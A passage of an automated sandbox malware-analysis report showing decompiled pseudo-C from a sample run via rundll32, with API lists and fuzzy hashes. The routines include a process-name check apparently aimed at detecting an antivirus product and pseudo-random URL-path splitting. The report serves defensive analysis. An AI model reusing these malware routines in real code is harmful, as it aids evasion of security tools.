                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: String$Free$Alloclstrcmp
                    • String ID:
                    • API String ID: 1885612795-0
                    • Opcode ID: 4fd142f1ad79b1e471d4ebf9572bff10335be089471aea92275d643fffdd9e82
                    • Instruction ID: 192294c81412421176f34a55f6c4f3680a31c4577ce2c7a66cadb9115b18981e
                    • Opcode Fuzzy Hash: 4fd142f1ad79b1e471d4ebf9572bff10335be089471aea92275d643fffdd9e82
                    • Instruction Fuzzy Hash: 2D512B75D00609EFCB01EFA8C8889AEF7BAEF8C705B148595E915EB214D7329D41CFA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03184781 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                    Download Yara Rule
                    C-Code - Quality: 85%
                    			E03184781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E031861EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E03186725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E03187477(_t101,  &_v428, _a8, _t96 - _t81);
					E03187477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E03186725(_t101, 0x318a1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E03186725(_a16, _a4);
						E03187894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L031882DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L031882D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E03185F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E03186E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E031810A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x318a1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                    0x03184784
                    0x03184790
                    0x03184796
                    0x0318479b
                    0x0318479f
                    0x03184911
                    0x03184915
                    0x03184915
                    0x031847a5
                    0x031847a9
                    0x031847ad
                    0x031847b0
                    0x031847bb
                    0x031847c1
                    0x031847c6
                    0x031847c9
                    0x031847e3
                    0x031847f2
                    0x031847fe
                    0x03184808
                    0x0318480d
                    0x0318480f
                    0x03184812
                    0x031848c9
                    0x031848cf
                    0x031848e0
                    0x031848f3
                    0x03184909
                    0x00000000
                    0x0318490e
                    0x0318481b
                    0x03184822
                    0x03184826
                    0x0318482c
                    0x0318482e
                    0x03184830
                    0x03184832
                    0x03184834
                    0x0318483e
                    0x03184843
                    0x03184845
                    0x03184847
                    0x03184848
                    0x03184849
                    0x0318484a
                    0x03184851
                    0x03184858
                    0x0318485b
                    0x0318485b
                    0x03184828
                    0x03184828
                    0x03184828
                    0x03184863
                    0x0318486b
                    0x03184877
                    0x0318487c
                    0x0318487c
                    0x03184881
                    0x00000000
                    0x00000000
                    0x03184883
                    0x03184886
                    0x03184893
                    0x00000000
                    0x00000000
                    0x03184895
                    0x03184895
                    0x031848a2
                    0x0318487c
                    0x03184881
                    0x00000000
                    0x00000000
                    0x00000000
                    0x03184881
                    0x031848ac
                    0x031848af
                    0x031848b2
                    0x031848b9
                    0x031848b9
                    0x031848c6
                    0x00000000
                    0x031848c6
                    0x031847b2
                    0x031847b6
                    0x031847b7
                    0x031847b9
                    0x00000000
                    0x00000000
                    0x00000000
                    0x031847b9
                    0x00000000

                    APIs
                    • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 03184834
                    • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 0318484A
                    • memset.NTDLL ref: 031848F3
                    • memset.NTDLL ref: 03184909
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: memset$_allmul_aulldiv
                    • String ID:
                    • API String ID: 3041852380-0
                    • Opcode ID: 9dc79d0353a12f3acc514c9bbb6623f97608f982bb4d866d498b060ae5166072
                    • Instruction ID: 5908333fa57ec19ea7e547f0d2f0f34500b18e459490a8110711886b5ab89c58
                    • Opcode Fuzzy Hash: 9dc79d0353a12f3acc514c9bbb6623f97608f982bb4d866d498b060ae5166072
                    • Instruction Fuzzy Hash: EC41BF31A00219ABDB10EFA9CC40BEE7765EF4E310F104569A919AB280EF70AA448F94
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318454F Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E0318454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x318a160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x318a174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E031833DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x318a160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E031861DA(_v16);
							if(_t58 == 0) {
								_t58 = E03182B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E031816B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E031816B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}














                    0x0318454f
                    0x0318455e
                    0x03184563
                    0x03184565
                    0x0318456a
                    0x0318456b
                    0x03184570
                    0x03184571
                    0x0318457c
                    0x031845ad
                    0x031845b2
                    0x03184675
                    0x03184678
                    0x0318467e
                    0x0318467e
                    0x031845bf
                    0x031845c7
                    0x03184672
                    0x00000000
                    0x03184672
                    0x031845d2
                    0x031845d7
                    0x031845dc
                    0x03184664
                    0x03184665
                    0x03184665
                    0x0318466b
                    0x00000000
                    0x0318466b
                    0x031845e2
                    0x031845e4
                    0x031845ea
                    0x031845eb
                    0x031845eb
                    0x031845ee
                    0x031845f1
                    0x031845f7
                    0x031845fc
                    0x031845fd
                    0x03184602
                    0x03184605
                    0x03184610
                    0x00000000
                    0x00000000
                    0x03184618
                    0x03184620
                    0x03184649
                    0x0318464c
                    0x03184653
                    0x0318465e
                    0x0318465e
                    0x00000000
                    0x03184653
                    0x0318462c
                    0x03184630
                    0x00000000
                    0x00000000
                    0x03184632
                    0x03184637
                    0x00000000
                    0x00000000
                    0x03184639
                    0x03184639
                    0x0318463e
                    0x00000000
                    0x00000000
                    0x03184640
                    0x03184641
                    0x03184644
                    0x03184644
                    0x031845eb
                    0x03184584
                    0x0318458c
                    0x031845a5
                    0x031845a7
                    0x00000000
                    0x00000000
                    0x00000000
                    0x031845a7
                    0x03184598
                    0x0318459c
                    0x00000000
                    0x00000000
                    0x031845a2
                    0x00000000

                    APIs
                    • ResetEvent.KERNEL32(?), ref: 03184565
                    • GetLastError.KERNEL32 ref: 0318457E
                      • Part of subcall function 031816B2: WaitForMultipleObjects.KERNEL32(00000002,03187C47,00000000,03187C47,?,?,?,03187C47,0000EA60), ref: 031816CD
                    • ResetEvent.KERNEL32(?), ref: 031845F7
                    • GetLastError.KERNEL32 ref: 03184612
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: ErrorEventLastReset$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2394032930-0
                    • Opcode ID: 060b26c2206e5e0d5b397177d3c67f1871af57e2412d985adce3614e99e0a6ba
                    • Instruction ID: 3148b2834dcfcd9a90a8cf9f591a5d2acbee5e845decca05505f5c558f1feac7
                    • Opcode Fuzzy Hash: 060b26c2206e5e0d5b397177d3c67f1871af57e2412d985adce3614e99e0a6ba
                    • Instruction Fuzzy Hash: 2331A236600605ABCB21FFA6C844A6EB7B9BF8C350B290668E555E7190EF70E9458F18
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031849D0 Relevance: 6.1, APIs: 4, Instructions: 96synchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E031849D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x318a310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x318a348; // 0x263d5a8
				_t3 = _t8 + 0x318b7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E031874EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x318a34c, 1, 0, _t30);
					E031861DA(_t30);
				}
				_t12 =  *0x318a2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E031830D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E031837DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x318a124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E031823C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}














                    0x031849d1
                    0x031849d8
                    0x031849e2
                    0x031849e6
                    0x031849ec
                    0x031849fb
                    0x03184a02
                    0x03184a06
                    0x03184a18
                    0x03184a1a
                    0x03184a1a
                    0x03184a1f
                    0x03184a26
                    0x03184a7d
                    0x03184a7d
                    0x03184a83
                    0x03184a85
                    0x03184a85
                    0x03184a8f
                    0x03184a93
                    0x03184aa5
                    0x03184aa5
                    0x03184aa9
                    0x03184aaf
                    0x03184aaf
                    0x00000000
                    0x03184a3f
                    0x03184a44
                    0x03184a4c
                    0x03184a50
                    0x03184a54
                    0x03184a54
                    0x03184a61
                    0x03184a65
                    0x03184a69
                    0x03184abe
                    0x03184ac4
                    0x03184ac4
                    0x03184a77
                    0x03184a7b
                    0x03184ab2
                    0x03184ab4
                    0x03184ab7
                    0x03184ab7
                    0x00000000
                    0x03184ab4
                    0x03184a7b
                    0x00000000
                    0x03184a65

                    APIs
                      • Part of subcall function 031874EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,057C9DD8,00000000,?,?,43175AC3,00000005,0318A00C,4D283A53,?,?), ref: 03187522
                      • Part of subcall function 031874EC: lstrcpy.KERNEL32(00000000,00000000), ref: 03187546
                      • Part of subcall function 031874EC: lstrcat.KERNEL32(00000000,00000000), ref: 0318754E
                    • CreateEventA.KERNEL32(0318A34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,03186A95,?,?,?), ref: 03184A11
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,03186A95,00000000,00000000,?,00000000,?,03186A95,?,?,?), ref: 03184A71
                    • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,03186A95,?,?,?), ref: 03184A9F
                    • CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,03186A95,?,?,?), ref: 03184AB7
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
                    • String ID:
                    • API String ID: 73268831-0
                    • Opcode ID: 93dfdf54c67d01f6fca51a383e3533383f9c08655f53f36b8216556c165ba07b
                    • Instruction ID: c1cda2e4a5ebb99398c49074d03d719239f6bcb6532c0b7c3ea111fe2c54c6bb
                    • Opcode Fuzzy Hash: 93dfdf54c67d01f6fca51a383e3533383f9c08655f53f36b8216556c165ba07b
                    • Instruction Fuzzy Hash: 4F21D5326003125BC731FB6A8C85AAAB2ADAF4CB14B191615FE93DF144DF20C8418F5C
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031869E6 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E031869E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E03182A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E031828B3(_t23);
						}
					}
					return _t38;
				}
				if(E03186ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x318a34c, 1, 0,  *0x318a3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E03185704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E03184C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E03187220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E031849D0( &_v32, _t39);
					goto L13;
				}
			}












                    0x031869e6
                    0x031869f3
                    0x031869f9
                    0x031869fa
                    0x031869fb
                    0x031869fc
                    0x031869fd
                    0x03186a01
                    0x03186a0d
                    0x03186a11
                    0x03186a99
                    0x03186a99
                    0x03186a9c
                    0x03186a9e
                    0x03186aa6
                    0x03186aac
                    0x03186aaf
                    0x03186aaf
                    0x03186aac
                    0x03186aba
                    0x03186aba
                    0x03186a24
                    0x03186a26
                    0x03186a26
                    0x03186a3d
                    0x03186a41
                    0x03186a44
                    0x03186a4f
                    0x03186a56
                    0x03186a56
                    0x03186a5f
                    0x03186a63
                    0x03186a71
                    0x03186a65
                    0x03186a65
                    0x03186a66
                    0x03186a67
                    0x03186a68
                    0x03186a69
                    0x03186a6a
                    0x03186a6a
                    0x03186a76
                    0x03186a79
                    0x03186a7d
                    0x03186a7f
                    0x03186a7f
                    0x03186a86
                    0x00000000
                    0x03186a88
                    0x03186a88
                    0x03186a95
                    0x00000000
                    0x03186a95

                    APIs
                    • CreateEventA.KERNEL32(0318A34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 03186A37
                    • SetEvent.KERNEL32(00000000), ref: 03186A44
                    • Sleep.KERNEL32(00000BB8), ref: 03186A4F
                    • CloseHandle.KERNEL32(00000000), ref: 03186A56
                      • Part of subcall function 03185704: WaitForSingleObject.KERNEL32(00000000,?,?,?,03186A76,?,03186A76,?,?,?,?,?,03186A76,?), ref: 031857DE
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Event$CloseCreateHandleObjectSingleSleepWait
                    • String ID:
                    • API String ID: 2559942907-0
                    • Opcode ID: 0b26e5a4b075cf6d6eea4a0f5fa87110a9ad335b64d3e8ff75d06147462ad11e
                    • Instruction ID: 1f43fbd93d3b3f9f936d485e2ffc4c9dfdbb2ebd6824fe06a6124fa8bfe26b37
                    • Opcode Fuzzy Hash: 0b26e5a4b075cf6d6eea4a0f5fa87110a9ad335b64d3e8ff75d06147462ad11e
                    • Instruction Fuzzy Hash: CB218A76E00219ABCF10FFE594849EEB7BDDF0C210B099465EB11E7100D77599458FA8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03184461 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 78%
                    			E03184461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E031833DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                    0x0318446d
                    0x03184471
                    0x03184472
                    0x03184473
                    0x03184475
                    0x03184477
                    0x0318447a
                    0x0318447f
                    0x03184516
                    0x0318451d
                    0x0318451d
                    0x03184488
                    0x0318448f
                    0x0318449f
                    0x0318449f
                    0x031844a5
                    0x031844a7
                    0x031844ac
                    0x031844b5
                    0x031844bb
                    0x031844c0
                    0x031844cb
                    0x031844cf
                    0x031844d1
                    0x031844d2
                    0x031844db
                    0x031844df
                    0x031844f0
                    0x031844e1
                    0x031844e6
                    0x031844eb
                    0x031844fa
                    0x031844fa
                    0x031844cf
                    0x03184500
                    0x03184506
                    0x03184506
                    0x0318450f
                    0x03184514
                    0x03184514
                    0x00000000

                    APIs
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: FreeSleepStringlstrlenmemcpy
                    • String ID:
                    • API String ID: 1198164300-0
                    • Opcode ID: 58bd4e37576d535baef633dece4a0cb2e269e0838240fb251c2e88b9eff71c30
                    • Instruction ID: c235112c1c54ec7f334fcb93c0ec34fbf93224bea212fb30300ac127df898227
                    • Opcode Fuzzy Hash: 58bd4e37576d535baef633dece4a0cb2e269e0838240fb251c2e88b9eff71c30
                    • Instruction Fuzzy Hash: 1F21327990120AEFCB11EFA5D98499EBBB8FF4C314B144169E905D7200EF30DA41CF54
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03182708 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E03182708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x318a2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x318a2f0; // 0x855b682c
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x318a2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                    0x03182710
                    0x03182713
                    0x03182719
                    0x03182731
                    0x03182733
                    0x03182738
                    0x0318273a
                    0x0318273d
                    0x0318273f
                    0x03182742
                    0x03182744
                    0x03182744
                    0x03182746
                    0x03182751
                    0x03182756
                    0x03182767
                    0x0318276f
                    0x03182774
                    0x03182777
                    0x0318277a
                    0x0318277c
                    0x0318277f
                    0x03182782
                    0x03182782
                    0x03182785
                    0x03182790
                    0x03182795
                    0x0318279f

                    APIs
                    • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,03186708,00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 03182713
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 0318272B
                    • memcpy.NTDLL(00000000,057C9600,-00000008,?,?,?,03186708,00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 0318276F
                    • memcpy.NTDLL(00000001,057C9600,00000001,03183ECE,00000000,057C9600), ref: 03182790
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: memcpy$AllocateHeaplstrlen
                    • String ID:
                    • API String ID: 1819133394-0
                    • Opcode ID: 1b23959d898d46a5916204d6dc9974899218383d83f543ea3ea4018c0da786e4
                    • Instruction ID: e350d3ce0b3e8f4d6098e9968638597e9cb9502b3c356d4ff5c139b2901d565a
                    • Opcode Fuzzy Hash: 1b23959d898d46a5916204d6dc9974899218383d83f543ea3ea4018c0da786e4
                    • Instruction Fuzzy Hash: C2110672A00214AFD724EB69DC84D9EBBFEEB99260B180176F404D7140E7759E5097A4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031830D5 Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                    Download Yara Rule
                    C-Code - Quality: 68%
                    			E031830D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x318a348; // 0x263d5a8
						_t2 = _t9 + 0x318be88; // 0x73617661
						_push( &_v264);
						if( *0x318a12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
